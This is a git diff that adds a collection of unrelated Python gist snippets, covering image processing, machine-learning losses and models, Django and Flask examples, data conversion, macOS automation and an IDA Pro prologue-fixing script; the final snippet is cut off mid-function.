new file mode 100644
index 00000000..65f24c71
--- /dev/null
+++ b/hard-gists/a5f57e8c9d0aedee285fb6f43cb5900c/snippet.py
@@ -0,0 +1,42 @@
+#!/usr/bin/env python
+
+import numpy as np
+import cv2
+from sys import argv
+
+# Gaussian radius (should really be an argument):
+r = 21
+
+src, dst = argv[1:]
+
+def get_sharpness(img):
+  img = img.mean(axis=2)
+  blurred = cv2.GaussianBlur(img, (r, r), 0)
+  sharp = np.abs(img - blurred)
+  return sharp
+
+viddy = cv2.VideoCapture(src)
+
+width = int(viddy.get(3)) # can you tell this API is by C programmers?
+height = int(viddy.get(4))
+frame_count = int(viddy.get(7))
+
+best_pixels = np.empty((height, width, 3)) # 3 channels
+best_sharpness = get_sharpness(best_pixels)
+
+for frame_n in range(frame_count):
+  print "%s/%s" % (frame_n, frame_count)
+
+  okay, frame = viddy.read()
+  if not okay: break
+  
+  if frame_n == 0:
+    best_pixels = frame
+  
+  sharpness = get_sharpness(frame)
+  better_indexes = np.where(sharpness > best_sharpness)
+  
+  best_pixels[better_indexes] = frame[better_indexes]
+  best_sharpness[better_indexes] = sharpness[better_indexes]
+
+cv2.imwrite(dst, best_pixels)
\ No newline at end of file
diff --git a/hard-gists/a5fb23f096d7b0c3880e1622938d0901/._snippet.py b/hard-gists/a5fb23f096d7b0c3880e1622938d0901/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a5fb23f096d7b0c3880e1622938d0901/._snippet.py differ
diff --git a/hard-gists/a5fb23f096d7b0c3880e1622938d0901/snippet.py b/hard-gists/a5fb23f096d7b0c3880e1622938d0901/snippet.py
new file mode 100644
index 00000000..deb57a6f
--- /dev/null
+++ b/hard-gists/a5fb23f096d7b0c3880e1622938d0901/snippet.py
@@ -0,0 +1,64 @@
+import torch
+import torch.nn as nn
+
+
+def log_sum_exp(x):
+    # See implementation detail in
+    # http://timvieira.github.io/blog/post/2014/02/11/exp-normalize-trick/
+    # b is a shift factor. see link.
+    # x.size() = [N, C]:
+    b, _ = torch.max(x, 1)
+    y = b + torch.log(torch.exp(x - b.expand_as(x)).sum(1))
+    # y.size() = [N, 1]. Squeeze to [N] and return
+    return y.squeeze(1)
+
+
+def class_select(logits, target):
+    # in numpy, this would be logits[:, target].
+    batch_size, num_classes = logits.size()
+    if target.is_cuda:
+        device = target.data.get_device()
+        one_hot_mask = torch.autograd.Variable(torch.arange(0, num_classes)
+                                               .long()
+                                               .repeat(batch_size, 1)
+                                               .cuda(device)
+                                               .eq(target.data.repeat(num_classes, 1).t()))
+    else:
+        one_hot_mask = torch.autograd.Variable(torch.arange(0, num_classes)
+                                               .long()
+                                               .repeat(batch_size, 1)
+                                               .eq(target.data.repeat(num_classes, 1).t()))
+    return logits.masked_select(one_hot_mask)
+
+
+def cross_entropy_with_weights(logits, target, weights=None):
+    assert logits.dim() == 2
+    assert not target.requires_grad
+    target = target.squeeze(1) if target.dim() == 2 else target
+    assert target.dim() == 1
+    loss = log_sum_exp(logits) - class_select(logits, target)
+    if weights is not None:
+        # loss.size() = [N]. Assert weights has the same shape
+        assert list(loss.size()) == list(weights.size())
+        # Weight the loss
+        loss = loss * weights
+    return loss
+
+
+class CrossEntropyLoss(nn.Module):
+    """
+    Cross entropy with instance-wise weights. Leave `aggregate` to None to obtain a loss
+    vector of shape (batch_size,).
+    """
+    def __init__(self, aggregate='mean'):
+        super(CrossEntropyLoss, self).__init__()
+        assert aggregate in ['sum', 'mean', None]
+        self.aggregate = aggregate
+
+    def forward(self, input, target, weights=None):
+        if self.aggregate == 'sum':
+            return cross_entropy_with_weights(input, target, weights).sum()
+        elif self.aggregate == 'mean':
+            return cross_entropy_with_weights(input, target, weights).mean()
+        elif self.aggregate is None:
+            return cross_entropy_with_weights(input, target, weights)
\ No newline at end of file
diff --git a/hard-gists/a61918cbfae993b68eb17b5b780b7e32/._snippet.py b/hard-gists/a61918cbfae993b68eb17b5b780b7e32/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a61918cbfae993b68eb17b5b780b7e32/._snippet.py differ
diff --git a/hard-gists/a61918cbfae993b68eb17b5b780b7e32/snippet.py b/hard-gists/a61918cbfae993b68eb17b5b780b7e32/snippet.py
new file mode 100644
index 00000000..8edc9f3e
--- /dev/null
+++ b/hard-gists/a61918cbfae993b68eb17b5b780b7e32/snippet.py
@@ -0,0 +1,55 @@
+import numpy as np
+import pandas as pd
+from math import sqrt
+
+from keras.models import Sequential
+from keras.layers.core import Dense, Activation
+
+from sklearn.feature_selection import VarianceThreshold
+from sklearn.preprocessing import StandardScaler
+
+from sklearn.cross_validation import train_test_split
+
+from keras.regularizers import l2, activity_l2
+from keras.layers.advanced_activations import ParametricSoftplus
+
+import pickle
+
+#data is from https://www.crowdanalytix.com/contests/predict-fuel-flow-rate-of-airplanes-during-different-phases-of-a-flight
+# A Pandas dataframe where y column is FF and X columns are every other column except for 
+# Flight instance ID and ACID (also an id field).
+training_data = pd.read_pickle('Training_files/PH_data_one.df')
+
+feature_columns = [col for col in training_data.columns if not (col=='FF' or col=='Flight_instance_ID' or  col=='ACID')]
+
+y = training_data['FF'].values
+X = training_data[feature_columns].values
+
+X = StandardScaler().fit(X).transform(X)
+X = VarianceThreshold(threshold=0.0).fit_transform(X)
+
+#split data
+X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.30, random_state=42)
+
+# fix random seed for reproducibility
+seed = 7
+np.random.seed(seed)
+model = Sequential()
+
+#https://github.com/fchollet/keras/issues/108
+model.add(Dense(60,  input_dim=177, W_regularizer=l2(0.05), activity_regularizer=activity_l2(0.01)))
+model.add(Activation('tanh'))
+model.add(Dense(24, W_regularizer=l2(0.1), activity_regularizer=activity_l2(0.01)))
+model.add(Activation('tanh'))
+model.add(Dense(1))
+
+model.compile(loss='mean_squared_error', optimizer='rmsprop')
+
+model.fit(X_train, y_train, nb_epoch=240, batch_size=16, verbose=1)
+
+#if you want to save the model for later use
+#pickle.dump(model, open("linear_keras.model", "wb" ))
+
+score = model.evaluate(X_test, y_test, batch_size=16)
+
+print "RMSE " + str(sqrt(score))
\ No newline at end of file
diff --git a/hard-gists/a62b5cf5262fc7179dee/._snippet.py b/hard-gists/a62b5cf5262fc7179dee/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a62b5cf5262fc7179dee/._snippet.py differ
diff --git a/hard-gists/a62b5cf5262fc7179dee/snippet.py b/hard-gists/a62b5cf5262fc7179dee/snippet.py
new file mode 100644
index 00000000..b71555f3
--- /dev/null
+++ b/hard-gists/a62b5cf5262fc7179dee/snippet.py
@@ -0,0 +1,54 @@
+#!/usr/bin/python
+
+import pygtk
+pygtk.require('2.0')
+import gtk
+
+import sys, os
+import cStringIO
+import base64
+import json
+import requests
+import subprocess
+from base64 import b64encode
+
+client_id = "0d7cfd59581bfcb"
+client_secret = "0f8983c9973adbcee07171a91e4cc60a1a63b61a"
+
+headers = {"Authorization": "Client-ID " + client_id}
+
+url = "https://api.imgur.com/3/upload"
+
+def upload(img):
+	
+    fH = cStringIO.StringIO()
+    img.save_to_callback(fH.write, "png")
+	
+    response = requests.post(url, headers = headers,
+            data = {
+                'key': client_secret,
+                'image': b64encode(fH.getvalue()),
+                'type': 'base64'
+            })
+    
+    link = response.json()['data']['link']
+    return link
+
+
+
+def getImage():
+    clipboard = gtk.clipboard_get()
+    img = clipboard.wait_for_image()
+    if img == None:
+        subprocess.Popen(['notify-send', 'No image in clipboard'])
+        sys.exit(0)
+        
+    return img
+    
+link = upload(getImage())
+
+print link
+
+
+os.popen('xsel -i -b', 'wb').write(link)
+subprocess.Popen(['notify-send', 'Image uploaded', '--hint=int:transient:1'])
diff --git a/hard-gists/a64321dd69339c42a184/._snippet.py b/hard-gists/a64321dd69339c42a184/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a64321dd69339c42a184/._snippet.py differ
diff --git a/hard-gists/a64321dd69339c42a184/snippet.py b/hard-gists/a64321dd69339c42a184/snippet.py
new file mode 100644
index 00000000..7d38f212
--- /dev/null
+++ b/hard-gists/a64321dd69339c42a184/snippet.py
@@ -0,0 +1,68 @@
+# Based on post from: https://snipt.net/chrisdpratt/symmetrical-manytomany-filter-horizontal-in-django-admin/#L-26
+# Only reposting to avoid loosing it.
+
+"""
+When adding a many-to-many (m2m) relationship in Django, you can use a nice filter-style multiple select widget to manage entries. However, Django only lets you edit the m2m relationship this way on the forward model. The only built-in method in Django to edit the reverse relationship in the admin is through an InlineModelAdmin.
+
+Below is an example of how to create a filtered multiple select for the reverse relationship, so that editing entries is as easy as in the forward direction.
+"""
+
+### pizza/models.py ###
+
+from django.db import models
+
+class Pizza(models.Model):
+  name = models.CharField(max_length=50)
+  toppings = models.ManyToManyField(Topping, related_name='pizzas')
+
+class Topping(models.Model):
+  name = models.CharField(max_length=50)
+
+### pizza/admin.py ###
+
+from django import forms
+from django.contrib import admin
+from django.utils.translation import ugettext_lazy as _
+from django.contrib.admin.widgets import FilteredSelectMultiple
+
+from .models import Pizza, Topping
+
+class PizzaAdmin(admin.ModelAdmin):
+  filter_horizonal = ('toppings',)
+
+class ToppingAdminForm(forms.ModelForm):
+  pizzas = forms.ModelMultipleChoiceField(
+    queryset=Pizza.objects.all(), 
+    required=False,
+    widget=FilteredSelectMultiple(
+      verbose_name=_('Pizzas'),
+      is_stacked=False
+    )
+  )
+
+  class Meta:
+    model = Topping
+
+  def __init__(self, *args, **kwargs):
+    super(ToppingAdminForm, self).__init__(*args, **kwargs)
+
+    if self.instance and self.instance.pk:
+      self.fields['pizzas'].initial = self.instance.pizzas.all()
+
+  def save(self, commit=True):
+    topping = super(ToppingAdminForm, self).save(commit=False)
+
+    if commit:
+      topping.save()
+
+    if topping.pk:
+      topping.pizzas = self.cleaned_data['pizzas']
+      self.save_m2m()
+
+    return topping
+
+class ToppingAdmin(admin.ModelAdmin):
+  form = ToppingAdminForm
+
+admin.site.register(Pizza, PizzaAdmin)
+admin.site.register(Topping, ToppingAdmin)
\ No newline at end of file
diff --git a/hard-gists/a67517621c2a9d4c2f14/._snippet.py b/hard-gists/a67517621c2a9d4c2f14/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a67517621c2a9d4c2f14/._snippet.py differ
diff --git a/hard-gists/a67517621c2a9d4c2f14/snippet.py b/hard-gists/a67517621c2a9d4c2f14/snippet.py
new file mode 100644
index 00000000..8c8d04c0
--- /dev/null
+++ b/hard-gists/a67517621c2a9d4c2f14/snippet.py
@@ -0,0 +1,76 @@
+from decimal import Decimal
+from geopy.distance import great_circle  # or distance
+from seuapp.models import Store
+
+# decimal places   degrees          distance
+# ---------------  -------          --------
+# 0                1                111  km
+# 1                0.1              11.1 km
+# 2                0.01             1.11 km
+# 3                0.001            111  m
+# 4                0.0001           11.1 m
+# 5                0.00001          1.11 m
+# 6                0.000001         11.1 cm
+#
+# Model fields must looks like:
+# # lat/long with 6 decimal places lead to precision of ~0.11 meters.
+# lat = DecimalField(
+#     max_digits=10, decimal_places=6,
+#     validators=[
+#         MinValueValidator(
+#             -90, _("Latitude values must be greater than -90.")
+#         ),
+#         MaxValueValidator(90, _("Latitude values must be lower than 90."))
+#     ]
+# )
+# lng = DecimalField(
+#     max_digits=10, decimal_places=6,
+#     validators=[
+#         MinValueValidator(
+#             -180, _("Longitude values must be greater than -180.")
+#         ),
+#         MaxValueValidator(
+#             180, _("Longitude values must be lower than 180.")
+#         )
+#     ]
+# )
+PRECISION_MAP = {
+    0: Decimal('1.0'),      # -/+ 111  km
+    1: Decimal('0.1'),      # -/+ 11.1 km
+    2: Decimal('0.01'),     # -/+ 1.11 km
+    3: Decimal('0.001'),    # -/+ 111  m
+    4: Decimal('0.0001'),   # -/+ 11.1 m
+    5: Decimal('0.00001'),  # -/+ 1.11 m
+    6: Decimal('0.000001')  # -/+ 11.1 cm
+}
+
+
+def find_nearest_storen(lat, lng):
+    """
+    Find nearest store to given latitude/longitude.
+    """
+    store = None
+    precison = 6
+    while store is None:
+        results = {}  # dict is already sorted from lower to greater ;)
+        # now I would love a graph database ;)
+        _range = PRECISION_MAP[precison]
+        stores = Store.objects.filter(
+            # Here we search around a range. 9 is a modifier in _range to
+            # be a bit more wide, specially in depth precisions. More stations
+            # per loop means less queries.
+            lat__gt=lat - (_range * 9), lat__lt=lat + (_range * 9),
+            lng__gt=lng - (_range * 9), lng__lt=lng + (_range * 9)
+        )
+
+        for _store in stores:
+            d = great_circle((lat, lng), (_store.lat, _store.lng))
+            results[d] = _store
+
+        if results:
+            store = results.values()[0]
+            break
+        else:
+            precison -= 1
+
+    return store
diff --git a/hard-gists/a682299af39b76d8592f/._snippet.py b/hard-gists/a682299af39b76d8592f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a682299af39b76d8592f/._snippet.py differ
diff --git a/hard-gists/a682299af39b76d8592f/snippet.py b/hard-gists/a682299af39b76d8592f/snippet.py
new file mode 100644
index 00000000..ae83f924
--- /dev/null
+++ b/hard-gists/a682299af39b76d8592f/snippet.py
@@ -0,0 +1,50 @@
+from flask import Flask
+from flask import g
+from flask import Response
+from flask import request
+import json
+import MySQLdb
+
+app = Flask(__name__)
+
+@app.before_request
+def db_connect():
+  g.conn = MySQLdb.connect(host='192.168.33.10',
+                              user='test',
+                              passwd='password',
+                              db='test')
+  g.cursor = g.conn.cursor()
+
+@app.after_request
+def db_disconnect(response):
+  g.cursor.close()
+  g.conn.close()
+  return response
+
+def query_db(query, args=(), one=False):
+  g.cursor.execute(query, args)
+  rv = [dict((g.cursor.description[idx][0], value)
+  for idx, value in enumerate(row)) for row in g.cursor.fetchall()]
+  return (rv[0] if rv else None) if one else rv
+
+@app.route("/")
+def hello():
+  return "Hello World!"
+
+@app.route("/names", methods=['GET'])
+def names():
+  result = query_db("SELECT firstname,lastname FROM test.name")
+  data = json.dumps(result)
+  resp = Response(data, status=200, mimetype='application/json')
+  return resp
+
+@app.route("/add", methods=['POST'])
+def add():
+  req_json = request.get_json()
+  g.cursor.execute("INSERT INTO test.name (firstname, lastname) VALUES (%s,%s)", (req_json['firstname'], req_json['lastname']))
+  g.conn.commit()
+  resp = Response("Updated", status=201, mimetype='application/json')
+  return resp
+
+if __name__ == "__main__":
+  app.run()
\ No newline at end of file
diff --git a/hard-gists/a68d6f32f4985ed547ce/._snippet.py b/hard-gists/a68d6f32f4985ed547ce/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a68d6f32f4985ed547ce/._snippet.py differ
diff --git a/hard-gists/a68d6f32f4985ed547ce/snippet.py b/hard-gists/a68d6f32f4985ed547ce/snippet.py
new file mode 100644
index 00000000..777c151f
--- /dev/null
+++ b/hard-gists/a68d6f32f4985ed547ce/snippet.py
@@ -0,0 +1,105 @@
+import sqlite3
+import os
+import argparse
+
+try:
+    import pyspark
+    import pyspark.sql
+except ImportError:
+    import sys
+    import os
+    # TODO: unhardcode these
+    os.environ["SPARK_HOME"] = '/opt/spark'
+    sys.path.append('/opt/spark/python')
+    sys.path.append('/opt/spark/python/lib/py4j-0.8.2.1-src.zip')
+    import pyspark
+    import pyspark.sql
+    from pyspark.sql.types import *
+
+
+# load spark stuff
+conf = pyspark.SparkConf()
+conf.set('spark.executor.memory', '4g')
+conf.set('spark.sql.parquet.compression.codec', 'gzip')
+#conf.set('spark.sql.parquet.compression.codec', 'snappy')
+sc = pyspark.SparkContext("local", conf=conf)
+sqlContext = pyspark.SQLContext(sc)
+
+
+def get_table_list(sqldb_loc):
+    """Gets the list of tables in the sqlite database given a file path
+        to the sqlite database
+    """
+    conn = sqlite3.connect(sqldb_loc)
+    cur = conn.cursor()
+    res = cur.execute("""SELECT name
+                           FROM sqlite_main
+                           WHERE type='table'""")
+    names = [x[0] for x in res]
+    cur.close()
+    return names
+
+
+def get_generator_from_table(sqldb_loc, table_name):
+    conn = sqlite3.connect(sqldb_loc)
+    cur = conn.cursor()
+    res = cur.execute("""
+    SELECT * FROM {0}
+    """.format(table_name))
+    for row in  res:
+        yield row
+    cur.close()
+    conn.close()
+
+def get_column_names_from_table(sqldb_loc, table_name):
+    conn = sqlite3.connect(sqldb_loc)
+    cur = conn.cursor()
+    res = cur.execute("""
+    SELECT *
+    FROM {0}
+    """.format(table_name))
+    names = [x[0] for x in cur.description]
+    cur.close()
+    conn.close()
+    return names
+
+def create_df_from_generator(gen, names):
+    a = sc.parallelize(gen, 20)
+    a.persist(pyspark.StorageLevel(True, True, False, True, 1))
+    df = sqlContext.createDataFrame(a, schema=names, samplingRatio=None).repartition(20)
+    #df.persist(pyspark.StorageLevel(True, True, False, True, 1))
+    return df
+
+
+def sqlite2parquet(db_path, output_dir, skip_tables=['sqlite_sequence']):
+    tables = get_table_list(db_path)
+    for table in tables:
+        if table in skip_tables:
+            print "Skipping: {0}".format(table)
+            continue
+        print "Converting: {0}".format(table)
+        gen = get_generator_from_table(db_path, table)
+        if table in schemas:
+            print "\t known schema"
+            schema = schemas[table]
+        else:
+            schema = get_column_names_from_table(db_path, table)
+        print "\t converting to data-frame"
+        df = create_df_from_generator(gen, schema)
+        p = os.path.join(output_dir, table + '.parquet')
+        print "\t saving..."
+        df.saveAsParquetFile(p)
+
+def main():
+    parser = argparse.ArgumentParser(description='Convert sqlite database into parquet files')
+    parser.add_argument('sqlite_db_path')
+    args = parser.parse_args()
+    try:
+        os.makedirs(args.sqlite_db_path + '.parquets')
+    except OSError:
+        #mmm quiet failure... brilliant!
+        pass
+    sqlite2parquet(args.sqlite_db_path, args.sqlite_db_path + '.parquets', skip_tables=['task', 'sqlite_sequence', 'sqlite_stat1', 'crawl'])
+
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/a6a32bd87fdfe5529f0e908ed743f779/._snippet.py b/hard-gists/a6a32bd87fdfe5529f0e908ed743f779/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a6a32bd87fdfe5529f0e908ed743f779/._snippet.py differ
diff --git a/hard-gists/a6a32bd87fdfe5529f0e908ed743f779/snippet.py b/hard-gists/a6a32bd87fdfe5529f0e908ed743f779/snippet.py
new file mode 100644
index 00000000..cf7ec287
--- /dev/null
+++ b/hard-gists/a6a32bd87fdfe5529f0e908ed743f779/snippet.py
@@ -0,0 +1,28 @@
+import caffe
+caffe.set_mode_cpu()
+import numpy as np
+from numpy import prod, sum
+from pprint import pprint
+
+def print_net_parameters (deploy_file):
+    print "Net: " + deploy_file
+    net = caffe.Net(deploy_file, caffe.TEST)
+    print "Layer-wise parameters: "
+    pprint([(k, v[0].data.shape) for k, v in net.params.items()])
+    print "Total number of parameters: " + str(sum([prod(v[0].data.shape) for k, v in net.params.items()]))
+    
+deploy_file = "/home/ubuntu/deploy.prototxt"
+print_net_parameters(deploy_file)
+
+# Sample output:
+# Net: /home/ubuntu/deploy.prototxt
+# Layer-wise parameters: 
+#[('conv1', (96, 3, 11, 11)),
+# ('conv2', (256, 48, 5, 5)),
+# ('conv3', (384, 256, 3, 3)),
+# ('conv4', (384, 192, 3, 3)),
+# ('conv5', (256, 192, 3, 3)),
+# ('fc6', (4096, 9216)),
+# ('fc7', (4096, 4096)),
+# ('fc8', (819, 4096))]
+# Total number of parameters: 60213280
\ No newline at end of file
diff --git a/hard-gists/a7733a15cbf6c0cd9fba/._snippet.py b/hard-gists/a7733a15cbf6c0cd9fba/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a7733a15cbf6c0cd9fba/._snippet.py differ
diff --git a/hard-gists/a7733a15cbf6c0cd9fba/snippet.py b/hard-gists/a7733a15cbf6c0cd9fba/snippet.py
new file mode 100644
index 00000000..318577ba
--- /dev/null
+++ b/hard-gists/a7733a15cbf6c0cd9fba/snippet.py
@@ -0,0 +1,62 @@
+#!/usr/bin/python
+
+""" Graham Gilbert 5/1/16
+Change TARGET_APP and the app name on line 53 to your chosen app to quit.
+Run this as often as you'd like via a launchagent.
+
+No warranty expressed or implied. If things go kaboom, it's your problem!
+"""
+
+from AppKit import NSWorkspace
+import subprocess
+import plistlib
+import os
+import sys
+import datetime
+
+TARGET_APP = 'Clear'
+PLIST_PATH = os.path.join(os.path.expanduser("~"), 'Library', 'Preferences', 'app_open.plist')
+# Run this script every minute
+
+def main():
+
+    open_apps = NSWorkspace.sharedWorkspace().runningApplications()
+
+    # see if the app is open, if not we're going to remove the plist
+    app_open = False
+    for app in open_apps:
+        if TARGET_APP == app.localizedName():
+            app_open = True
+
+    if app_open == False:
+        if os.path.exists(PLIST_PATH):
+            os.remove(PLIST_PATH)
+        sys.exit()
+
+    if os.path.exists(PLIST_PATH):
+        # plist exists, read it
+        plist_data = plistlib.readPlist(PLIST_PATH)
+    else:
+        plist_data = {}
+    # App is open, is it frontmost?
+    active_app = NSWorkspace.sharedWorkspace().frontmostApplication().localizedName()
+    now = datetime.datetime.now()
+    if TARGET_APP == active_app:
+        plist_data['last_active'] = now
+        plistlib.writePlist(plist_data, PLIST_PATH)
+        sys.exit()
+    else:
+        # it's not frontmast, when was the last time we saw it?
+        if 'last_active' not in plist_data:
+            # covering ourselves if it's not been recorded before
+            plist_data['last_active'] = now
+            plistlib.writePlist(plist_data, PLIST_PATH)
+            sys.exit()
+        if plist_data['last_active'] < now-datetime.timedelta(minutes=5):
+            # app hasb't been active for five minutes
+            subprocess.call(['/usr/bin/osascript', '-e', 'tell application "Clear" to quit'])
+            os.remove(PLIST_PATH)
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/a7c41b072cfa4cc2c592/._snippet.py b/hard-gists/a7c41b072cfa4cc2c592/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a7c41b072cfa4cc2c592/._snippet.py differ
diff --git a/hard-gists/a7c41b072cfa4cc2c592/snippet.py b/hard-gists/a7c41b072cfa4cc2c592/snippet.py
new file mode 100644
index 00000000..20398387
--- /dev/null
+++ b/hard-gists/a7c41b072cfa4cc2c592/snippet.py
@@ -0,0 +1,105 @@
+#  Fix clang function prologues
+#  WARNING: this WILL patch bytes in the database
+#
+#  Copyright (c) 2015 xerub
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+# convert this:
+#__text:0000000100004730 FA 67 BB A9                 STP             X26, X25, [SP,#-0x50]!
+#__text:0000000100004734 F8 5F 01 A9                 STP             X24, X23, [SP,#0x10]
+#__text:0000000100004738 F6 57 02 A9                 STP             X22, X21, [SP,#0x20]
+#__text:000000010000473C F4 4F 03 A9                 STP             X20, X19, [SP,#0x30]
+#__text:0000000100004740 FD 7B 04 A9                 STP             X29, X30, [SP,#0x40]
+#__text:0000000100004744 FD 03 01 91                 ADD             X29, SP, #0x40
+#
+# to this:
+#__text:0000000100004730 FD 7B BF A9                 STP             X29, X30, [SP,#-0x10]!
+#__text:0000000100004734 FD 03 00 91                 MOV             X29, SP
+#__text:0000000100004738 F4 4F BF A9                 STP             X20, X19, [SP,#-0x10]!
+#__text:000000010000473C F6 57 BF A9                 STP             X22, X21, [SP,#-0x10]!
+#__text:0000000100004740 F8 5F BF A9                 STP             X24, X23, [SP,#-0x10]!
+#__text:0000000100004744 FA 67 BF A9                 STP             X26, X25, [SP,#-0x10]!
+
+import idaapi
+import idc
+
+CODE = 2
+DATA = 3
+
+def get_segments_of_type(attr):
+	segs = []
+	seg = FirstSeg()
+	while seg != BADADDR:
+		if GetSegmentAttr(seg, SEGATTR_TYPE) == attr:
+			segs.append(seg)
+		seg = NextSeg(seg)
+	return segs
+
+def doit(seg_start):
+	seg_end = SegEnd(seg_start)
+
+	ea = seg_start
+	while ea < seg_end:
+		d = Dword(ea)
+		if (d & 0xFFC003FF) == 0x910003FD:
+			# add x29, sp, #imm
+			delta = (d >> 10) & 0xFFF
+			if delta != 0 and (delta & 0xF) == 0:
+				prev_ea = ea - 4
+				prev_imm = delta + 0x10
+				insns = []
+
+				while prev_ea >= seg_start:
+					prev = Dword(prev_ea)
+
+					imm = (prev >> 15) & 0x7F
+					if imm > 63:
+						imm -= 128
+					imm *= 8
+
+					if (prev & 0xFFC003E0) == 0xA90003E0 and prev_imm == imm + 0x10 and imm > 0:
+						# stp x, y, [sp,#imm]
+						insns.append([prev & 0x7c1f, imm, False])
+					elif (prev & 0xFFC003E0) == 0xA98003E0 and delta + imm + 0x10 == 0:
+						# stp x, y, [sp,#-imm]!
+						insns.append([prev & 0x7c1f, imm, True])
+						break
+					else:
+						break
+
+					prev_imm = imm
+					prev_ea -= 4
+
+				if len(insns) != 0 and insns[-1][2] == True and insns[0][0] == 0x781D:
+					print "fixing BP frame at %x: 0x%x" % (prev_ea, delta)
+					startf = prev_ea
+
+					first = True
+					for elt in insns:
+						PatchDword(prev_ea, 0xA9BF03E0 | elt[0])
+						if first:
+							first = False
+							prev_ea += 4
+							PatchDword(prev_ea, 0x910003FD)
+						prev_ea += 4
+
+					DelFunction(startf)
+					MakeFunction(startf, BADADDR)
+
+		ea += 4
+
+code = get_segments_of_type(CODE)
+if len(code) > 0:
+	doit(code[0])
diff --git a/hard-gists/a8121604385ce6da251d20d018f9a6d6/._snippet.py b/hard-gists/a8121604385ce6da251d20d018f9a6d6/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a8121604385ce6da251d20d018f9a6d6/._snippet.py differ
diff --git a/hard-gists/a8121604385ce6da251d20d018f9a6d6/snippet.py b/hard-gists/a8121604385ce6da251d20d018f9a6d6/snippet.py
new file mode 100644
index 00000000..82a8b2da
--- /dev/null
+++ b/hard-gists/a8121604385ce6da251d20d018f9a6d6/snippet.py
@@ -0,0 +1,41 @@
+"""
+wGAN implemented on top of tensorflow as described in: [Wasserstein GAN](https://arxiv.org/pdf/1701.07875.pdf)
+with improvements as described in: [Improved Training of Wasserstein GANs](https://arxiv.org/pdf/1704.00028.pdf).
+
+"""
+
+import tensorflow as tf
+
+
+#
+# define earth mover distance (wasserstein loss)
+#
+
+def em_loss(y_coefficients, y_pred):
+    return tf.reduce_mean(tf.multiply(y_coefficients, y_pred))
+
+#
+# construct computation graph for calculating the gradient penalty (improved wGAN) and training the discriminator
+#
+
+# sample a batch of noise (generator input)
+_z = tf.placeholder(tf.float32, shape=(batch_size, rand_dim))
+
+# sample a batch of real images
+_x = tf.placeholder(tf.float32, shape=(batch_size, img_height, img_width, img_channels))
+
+# generate a batch of images with the current generator
+_g_z = generator_model(_z)
+
+# calculate `x_hat`
+epsilon = tf.placeholder(tf.float32, shape=(batch_size, 1, 1, 1))
+x_hat = epsilon * _x + (1.0 - epsilon) * _g_z
+
+# gradient penalty
+gradients = tf.gradients(discriminator_model(x_hat), [x_hat])
+_gradient_penalty = 10.0 * tf.square(tf.norm(gradients[0], ord=2) - 1.0)
+
+# calculate discriminator's loss
+_disc_loss = em_loss(tf.ones(batch_size), discriminator_model(_g_z)) - \
+    em_loss(tf.ones(batch_size), discriminator_model(_x)) + \
+    _gradient_penalty
\ No newline at end of file
diff --git a/hard-gists/a8332d2b6dc517accedbff8fd8e63b08/._snippet.py b/hard-gists/a8332d2b6dc517accedbff8fd8e63b08/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a8332d2b6dc517accedbff8fd8e63b08/._snippet.py differ
diff --git a/hard-gists/a8332d2b6dc517accedbff8fd8e63b08/snippet.py b/hard-gists/a8332d2b6dc517accedbff8fd8e63b08/snippet.py
new file mode 100644
index 00000000..463c38bf
--- /dev/null
+++ b/hard-gists/a8332d2b6dc517accedbff8fd8e63b08/snippet.py
@@ -0,0 +1,29 @@
+#!/usr/bin/env python
+
+## Converting a CloudFormation Template from JSON to YAML
+## Script copyright: http://blog.flux7.com/how-to-convert-a-cloudformation-template-from-json-to-yaml
+##
+## Example:
+## $ python converter.py --json my-stack.template --yaml my-stack.yaml
+
+import yaml
+import json
+import argparse
+import sys
+
+if __name__ == "__main__":
+    parser = argparse.ArgumentParser()
+    parser.add_argument('--json', help='Input file (JSON)', required=True)
+    parser.add_argument('--yaml', help='Output file (YAML)', required=True)
+    if len(sys.argv) == 1:
+        parser.print_help()
+        sys.exit(1)
+    args = parser.parse_args()
+    json_file = args.json
+    yaml_file = args.yaml
+    with open(json_file) as fp:
+        json = json.load(fp)
+        with open(yaml_file, 'w') as yaml_fp:
+            yaml.safe_dump(json, yaml_fp, allow_unicode=True, default_flow_style=False)
+
+print "Created YAML file {0}".format(yaml_file)
diff --git a/hard-gists/a86b412988cbf5216aa5c48b1cf439c4/._snippet.py b/hard-gists/a86b412988cbf5216aa5c48b1cf439c4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a86b412988cbf5216aa5c48b1cf439c4/._snippet.py differ
diff --git a/hard-gists/a86b412988cbf5216aa5c48b1cf439c4/snippet.py b/hard-gists/a86b412988cbf5216aa5c48b1cf439c4/snippet.py
new file mode 100644
index 00000000..e1394936
--- /dev/null
+++ b/hard-gists/a86b412988cbf5216aa5c48b1cf439c4/snippet.py
@@ -0,0 +1,47 @@
+import re
+import clipboard
+import console
+import webbrowser
+import urllib
+import contacts
+import datetime
+import dialogs
+
+def extract_num(input):
+		match = re.findall("[0-9*]",input)
